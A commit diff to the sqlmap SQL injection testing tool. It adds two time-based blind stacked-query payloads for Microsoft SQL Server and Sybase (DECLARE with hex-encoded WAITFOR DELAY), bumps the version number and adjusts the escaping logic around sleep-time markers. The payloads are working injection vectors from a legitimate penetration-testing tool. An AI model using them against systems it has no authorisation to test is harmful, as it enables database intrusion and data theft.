diff --git a/data/xml/payloads/stacked_queries.xml b/data/xml/payloads/stacked_queries.xml
index 1471df7d0..88729619b 100644
--- a/data/xml/payloads/stacked_queries.xml
+++ b/data/xml/payloads/stacked_queries.xml
@@ -268,6 +268,28 @@
+
+ Microsoft SQL Server/Sybase stacked queries (DECLARE - comment)
+ 4
+ 2
+ 1
+ 1-8
+ 1
+ ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x
+
+ ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x
+ --
+
+
+
+
+
+ Microsoft SQL Server
+ Sybase
+ Windows
+
+
+
Microsoft SQL Server/Sybase stacked queries
4
@@ -289,6 +311,27 @@
+
+ Microsoft SQL Server/Sybase stacked queries (DECLARE)
+ 4
+ 5
+ 1
+ 1-8
+ 1
+ ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x
+
+ ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x
+
+
+
+
+
+ Microsoft SQL Server
+ Sybase
+ Windows
+
+
+
Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)
4
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 9519f4765..2b343a082 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -18,7 +18,7 @@ from lib.core.enums import OS
from thirdparty.six import unichr as _unichr
# sqlmap version (...)
-VERSION = "1.3.6.53"
+VERSION = "1.3.6.54"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -420,7 +420,7 @@ MIN_ERROR_CHUNK_LENGTH = 8
MAX_ERROR_CHUNK_LENGTH = 1024
# Do not escape the injected statement if it contains any of the following SQL keywords
-EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
+EXCLUDE_UNESCAPE = ("WAITFOR DELAY '", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK)
# Mark used for replacement of reflected values
REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py
index b4e916104..fcbaf4adc 100644
--- a/plugins/generic/syntax.py
+++ b/plugins/generic/syntax.py
@@ -26,7 +26,7 @@ class Syntax(object):
if quote:
for item in re.findall(r"'[^']*'+", expression):
original = item[1:-1]
- if original:
+ if original and re.search(r"\[(SLEEPTIME|RAND)", original) is None: # e.g. '[SLEEPTIME]' marker
replacement = escaper(original) if not conf.noEscape else original
if replacement != original: